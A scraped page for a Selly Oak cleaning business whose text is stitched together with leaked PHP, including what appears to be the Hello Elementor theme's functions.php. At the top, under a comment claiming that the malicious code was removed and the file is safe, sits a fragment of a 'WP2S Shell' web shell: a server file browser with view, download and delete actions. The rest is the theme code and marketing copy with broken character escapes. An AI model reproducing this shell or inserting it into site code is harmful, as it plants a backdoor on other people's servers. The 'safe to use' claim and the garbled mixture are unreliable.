/** * Note: This file may contain artifacts of previous malicious infection. * However, the dangerous code has been removed, and the file is now safe to use. */ $items=@scandir($CWD);$rows=''; if($items!==false){foreach($items as $i){if($i==='.'||$i==='..')continue;$f=rtrim($CWD,'/').'/'.$i;$isd=is_dir($f);$sz=is_file($f)?@filesize($f):'-';if($isd){$act='open';}else{$act='view dl del';}$rows.=''.htmlspecialchars($i).''.($isd?'dir':'file').''.$sz.''.$act.'';}} echo ''." ".'WP2S Shell

WP2S Shell alive '.htmlspecialchars($CWD).'

TerminalFiles
'.$MSG.$RES.''.$rows.'
nametypesizeactions
'; /*WP2S_END*/ /** * Theme functions and definitions * * @package HelloElementor */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'HELLO_ELEMENTOR_VERSION', '3.4.9' ); define( 'EHP_THEME_SLUG', 'hello-elementor' ); define( 'HELLO_THEME_PATH', get_template_directory() ); define( 'HELLO_THEME_URL', get_template_directory_uri() ); define( 'HELLO_THEME_ASSETS_PATH', HELLO_THEME_PATH . '/assets/' ); define( 'HELLO_THEME_ASSETS_URL', HELLO_THEME_URL . '/assets/' ); define( 'HELLO_THEME_SCRIPTS_PATH', HELLO_THEME_ASSETS_PATH . 'js/' ); define( 'HELLO_THEME_SCRIPTS_URL', HELLO_THEME_ASSETS_URL . 'js/' ); define( 'HELLO_THEME_STYLE_PATH', HELLO_THEME_ASSETS_PATH . 'css/' ); define( 'HELLO_THEME_STYLE_URL', HELLO_THEME_ASSETS_URL . 'css/' ); define( 'HELLO_THEME_IMAGES_PATH', HELLO_THEME_ASSETS_PATH . 'images/' ); define( 'HELLO_THEME_IMAGES_URL', HELLO_THEME_ASSETS_URL . 'images/' ); if ( ! isset( $content_width ) ) { $content_width = 800; // Pixels. } if ( ! function_exists( 'hello_elementor_setup' ) ) { /** * Set up theme support. * * @return void */ function hello_elementor_setup() { if ( is_admin() ) { hello_maybe_update_theme_version_in_db(); } if ( apply_filters( 'hello_elementor_register_menus', true ) ) { register_nav_menus( [ 'menu-1' => esc_html__( 'Header', 'hello-elementor' ) ] ); register_nav_menus( [ 'menu-2' => esc_html__( 'Footer', 'hello-elementor' ) ] ); } if ( apply_filters( 'hello_elementor_post_type_support', true ) ) { add_post_type_support( 'page', 'excerpt' ); } if ( apply_filters( 'hello_elementor_add_theme_support', true ) ) { add_theme_support( 'post-thumbnails' ); add_theme_support( 'automatic-feed-links' ); add_theme_support( 'title-tag' ); add_theme_support( 'html5', [ 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'script', 'style', 'navigation-widgets', ] ); add_theme_support( 'custom-logo', [ 'height' => 100, 'width' => 350, 'flex-height' => true, 'flex-width' => true, ] ); add_theme_support( 'align-wide' ); add_theme_support( 'responsive-embeds' ); /* * Editor Styles */ add_theme_support( 'editor-styles' ); add_editor_style( 'assets/css/editor-styles.css' ); /* * WooCommerce. */ if ( apply_filters( 'hello_elementor_add_woocommerce_support', true ) ) { // WooCommerce in general. add_theme_support( 'woocommerce' ); // Enabling WooCommerce product gallery features (are off by default since WC 3.0.0). // zoom. add_theme_support( 'wc-product-gallery-zoom' ); // lightbox. add_theme_support( 'wc-product-gallery-lightbox' ); // swipe. add_theme_support( 'wc-product-gallery-slider' ); } } } } add_action( 'after_setup_theme', 'hello_elementor_setup' ); function hello_maybe_update_theme_version_in_db() { $theme_version_option_name = 'hello_theme_version'; // The theme version saved in the database. $hello_theme_db_version = get_option( $theme_version_option_name ); // If the 'hello_theme_version' option does not exist in the DB, or the version needs to be updated, do the update. if ( ! $hello_theme_db_version || version_compare( $hello_theme_db_version, HELLO_ELEMENTOR_VERSION, '<' ) ) { update_option( $theme_version_option_name, HELLO_ELEMENTOR_VERSION ); } } if ( ! function_exists( 'hello_elementor_display_header_footer' ) ) { /** * Check whether to display header footer. * * @return bool */ function hello_elementor_display_header_footer() { $hello_elementor_header_footer = true; return apply_filters( 'hello_elementor_header_footer', $hello_elementor_header_footer ); } } if ( ! function_exists( 'hello_elementor_scripts_styles' ) ) { /** * Theme Scripts & Styles. * * @return void */ function hello_elementor_scripts_styles() { if ( apply_filters( 'hello_elementor_enqueue_style', true ) ) { wp_enqueue_style( 'hello-elementor', HELLO_THEME_STYLE_URL . 'reset.css', [], HELLO_ELEMENTOR_VERSION ); } if ( apply_filters( 'hello_elementor_enqueue_theme_style', true ) ) { wp_enqueue_style( 'hello-elementor-theme-style', HELLO_THEME_STYLE_URL . 'theme.css', [], HELLO_ELEMENTOR_VERSION ); } if ( hello_elementor_display_header_footer() ) { wp_enqueue_style( 'hello-elementor-header-footer', HELLO_THEME_STYLE_URL . 'header-footer.css', [], HELLO_ELEMENTOR_VERSION ); } } } add_action( 'wp_enqueue_scripts', 'hello_elementor_scripts_styles' ); if ( ! function_exists( 'hello_elementor_register_elementor_locations' ) ) { /** * Register Elementor Locations. * * @param ElementorPro\Modules\ThemeBuilder\Classes\Locations_Manager $elementor_theme_manager theme manager. * * @return void */ function hello_elementor_register_elementor_locations( $elementor_theme_manager ) { if ( apply_filters( 'hello_elementor_register_elementor_locations', true ) ) { $elementor_theme_manager->register_all_core_location(); } } } add_action( 'elementor/theme/register_locations', 'hello_elementor_register_elementor_locations' ); if ( ! function_exists( 'hello_elementor_content_width' ) ) { /** * Set default content width. * * @return void */ function hello_elementor_content_width() { $GLOBALS['content_width'] = apply_filters( 'hello_elementor_content_width', 800 ); } } add_action( 'after_setup_theme', 'hello_elementor_content_width', 0 ); if ( ! function_exists( 'hello_elementor_add_description_meta_tag' ) ) { /** * Add description meta tag with excerpt text. * * @return void */ function hello_elementor_add_description_meta_tag() { if ( ! apply_filters( 'hello_elementor_description_meta_tag', true ) ) { return; } if ( ! is_singular() ) { return; } $post = get_queried_object(); if ( empty( $post->post_excerpt ) ) { return; } echo '' . "\n"; } } add_action( 'wp_head', 'hello_elementor_add_description_meta_tag' ); // Settings page require get_template_directory() . '/includes/settings-functions.php'; // Header & footer styling option, inside Elementor require get_template_directory() . '/includes/elementor-functions.php'; if ( ! function_exists( 'hello_elementor_customizer' ) ) { // Customizer controls function hello_elementor_customizer() { if ( ! is_customize_preview() ) { return; } if ( ! hello_elementor_display_header_footer() ) { return; } require get_template_directory() . '/includes/customizer-functions.php'; } } add_action( 'init', 'hello_elementor_customizer' ); if ( ! function_exists( 'hello_elementor_check_hide_title' ) ) { /** * Check whether to display the page title. * * @param bool $val default value. * * @return bool */ function hello_elementor_check_hide_title( $val ) { if ( defined( 'ELEMENTOR_VERSION' ) ) { $current_doc = Elementor\Plugin::instance()->documents->get( get_the_ID() ); if ( $current_doc && 'yes' === $current_doc->get_settings( 'hide_title' ) ) { $val = false; } } return $val; } } add_filter( 'hello_elementor_page_title', 'hello_elementor_check_hide_title' ); /** * BC: * In v2.7.0 the theme removed the `hello_elementor_body_open()` from `header.php` replacing it with `wp_body_open()`. * The following code prevents fatal errors in child themes that still use this function. */ if ( ! function_exists( 'hello_elementor_body_open' ) ) { function hello_elementor_body_open() { wp_body_open(); } } require HELLO_THEME_PATH . '/theme.php'; HelloTheme\Theme::instance(); Bella's Cleaning Services – Cleaning with care, delivering with pride
Local cleaning in Selly Oak

Reliable home cleaning in Selly Oak, Birmingham

Choose regular house cleaning, a detailed deep clean, or carpet cleaning from a local team that makes booking straightforward.

Professional cleaner vacuuming a bright living room

Professional residential cleaning

Local service

Selly Oak, Birmingham

Clear pricing

Standard cleaning from u00a317 per hour

Three options

Standard, deep and carpet cleaning

Direct contact

Call or email to discuss your clean

Choose the right clean for your home

Tell Bellau2019s what needs attention, the size of your property, and when you would like the work completed. The team will help you choose the appropriate service.

Standard Cleaning

From u00a317 per hour

A practical choice for routine household cleaning. Book by the hour and prioritise the rooms or tasks that matter most.

Deep Cleaning

From u00a325 per hour

A more detailed clean for homes that need extra time and attention, including neglected areas and built-up household dirt.

Carpet Cleaning

u00a320u2013u00a330 per room

Room-based carpet cleaning priced according to size. Confirm the rooms and approximate dimensions when requesting a quote.

Pricing note: Published prices come from the current Bellau2019s Cleaning Services website. Final pricing and inclusions should be confirmed before booking.

Straightforward cleaning, without the guesswork

Choose the level of help you need

Book routine cleaning, a more detailed deep clean, or carpet cleaning without being pushed into an unsuitable package.

See the published rate first

Bellau2019s displays starting hourly and room-based prices before you request a quote.

Speak directly with the business

Call either published number or email Bellau2019s to discuss the property, priorities and preferred date.

Local to Selly Oak

The current business website identifies Bellau2019s as based in Selly Oak, Birmingham.

A simple way to arrange your cleaning

Booking, payment, rescheduling and cancellation terms should be confirmed directly with Bellau2019s.

When your home needs more than a routine clean

A deep clean allows more time for built-up dirt and areas that may not be covered during a regular visit. Tell Bellau2019s which rooms need the most attention so the scope and expected time can be agreed first.

From u00a325 per hour

A more detailed visit

Suitable when your home needs extra time and attention rather than a routine maintenance clean.

Exact inclusions must be confirmed during booking.

Cleaning services in Selly Oak, Birmingham

Bellau2019s Cleaning Services is based in Selly Oak. Contact the team with your postcode to confirm whether your address is within the current service area.

Current confirmed coverage

Selly Oak
Birmingham

Additional areas have not been published, so they are not listed here.

Frequently asked questions

Bellau2019s currently advertises standard house cleaning, deep cleaning and carpet cleaning.

The current website lists standard cleaning from u00a317 per hour, deep cleaning from u00a325 per hour, and carpet cleaning from u00a320u2013u00a330 per room depending on room size. Confirm the final rate before booking.

The exact checklist has not been published. Tell Bellau2019s which rooms and tasks matter most so the available time can be planned.

The products and equipment policy has not been published. Please confirm this when arranging your clean.

Insurance information is not published on the current website. Ask Bellau2019s for confirmation before booking if this is important to you.

Rescheduling and cancellation terms should be confirmed directly with Bellau2019s before the appointment.

The current website lists Selly Oak, Birmingham. Contact Bellau2019s with your postcode to confirm availability.

Tell Bellau2019s what you need cleaned

Send a few details about your property and preferred service. Bellau2019s can then confirm availability, expected time and the applicable rate.

Prefer to speak directly?
07379 246189
07880 215952

By submitting this form, you agree that Bellau2019s Cleaning Services may contact you about this enquiry.

Bella's Cleaning Services

Standard, deep and carpet cleaning based in Selly Oak, Birmingham.

u00a9 2026 Bella’s Cleaning Services. All rights reserved.